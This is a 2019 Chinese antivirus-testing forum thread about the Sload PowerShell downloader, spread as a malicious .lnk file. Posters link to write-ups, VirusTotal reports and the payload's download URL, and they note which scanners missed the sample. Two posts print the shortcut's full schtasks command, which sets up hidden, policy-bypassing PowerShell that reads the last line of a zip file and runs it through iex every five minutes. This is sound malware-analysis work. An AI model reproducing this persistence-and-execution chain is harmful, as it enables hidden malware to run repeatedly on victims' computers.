Sload (19.02.16）

显示全部楼层 · 发表于 2019-2-16 21:30:17

本帖最后由 191196846 于 2019-2-16 22:26 编辑

https://twitter.com/JAMESWT_MHT/status/1096333148131127296
http://www.certego.net/en/news/s ... ll-as-a-downloader/

#powershell #downloader #fileless

documentazione cliente.lnk
https://www.virustotal.com/#/fil ... 9d8de0517/detection
2/55

生成ps1下载payload https://animedeblog.com/anilemi/blodelam 目前已失效

sload_20_nov.ps1 (Old)
https://www.virustotal.com/#/fil ... a382838b5/detection
10/55

还是第一次见到一个恶意文件上VT一个月还维持在10/55

显示全部楼层 · 发表于 2019-2-16 21:30:52

本帖最后由 BE_HC 于 2019-2-16 21:32 编辑

Norton Scan&Run MISS All

<lnk文件>

C:\Windows\System32\schtasks.exe /F /create /ST 01:00 /sc minute /mo 5 /TR "powershell -ep byPass -w hi''DDen -c &{cd c:\users\;$b=dir -force -r -in aggior*.zip|select -last 1;$j7=cat -LiteralPat $b.fullname;$j7[$j7.length-1]|iex}" /TN "AI"

复制代码

显示全部楼层 · 发表于 2019-2-16 21:37:10

显示全部楼层 · 发表于 2019-2-16 21:44:04

双击报错。。

显示全部楼层 · 发表于 2019-2-16 21:45:13

本帖最后由 191196846 于 2019-2-16 21:48 编辑

BE_HC 发表于 2019-2-16 21:30
Norton Scan&Run MISS All

应该是Powershell脚本，不好意思搞错了

显示全部楼层 · 发表于 2019-2-16 21:48:09

BD：miss all
双击报错

显示全部楼层 · 发表于 2019-2-16 21:51:04

191196846 发表于 2019-2-16 21:45
应该是Powershell脚本，不好意思搞错了

Norton Scan&Run MISS

显示全部楼层 · 发表于 2019-2-16 21:51:07

静影沉璧发表于 2019-2-16 21:48
BD：miss all
双击报错

lnk文件呢

ps1报错是因为缺文件

显示全部楼层 · 发表于 2019-2-16 21:55:26

191196846 发表于 2019-2-16 21:51
lnk文件呢

ps1报错是因为缺文件

.lnk文件能跑……

显示全部楼层 · 发表于 2019-2-16 22:00:30

lnk只看到

2019-2-16 13:48:34

This file spawned process(es)

FilePath: %SYSTEMROOT%\System32\schtasks.exe; Company: Microsoft Corporation; TargetPid: 2344; CmdLine: "C:\Windows\System32\schtasks.exe" /F /create /ST 01:00 /sc minute /mo 5 /TR "powershell -ep byPass -w hi''DDen -c &{cd c:\users\;$b=dir -force -r -in aggior*.zip|select -last 1;$j7=cat -LiteralPat $b.fullname;$j7[$j7.length-1]|iex}" /TN "AI"; Version: 6.1.7600.16385 (win7_rtm.090713-1255); FileSize: 178688; Signer: Microsoft Windows; Icon: backup\7d3c7514cc9d0c828524db9622db215a.ico;

Clean

[病毒样本] Sload (19.02.16）

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源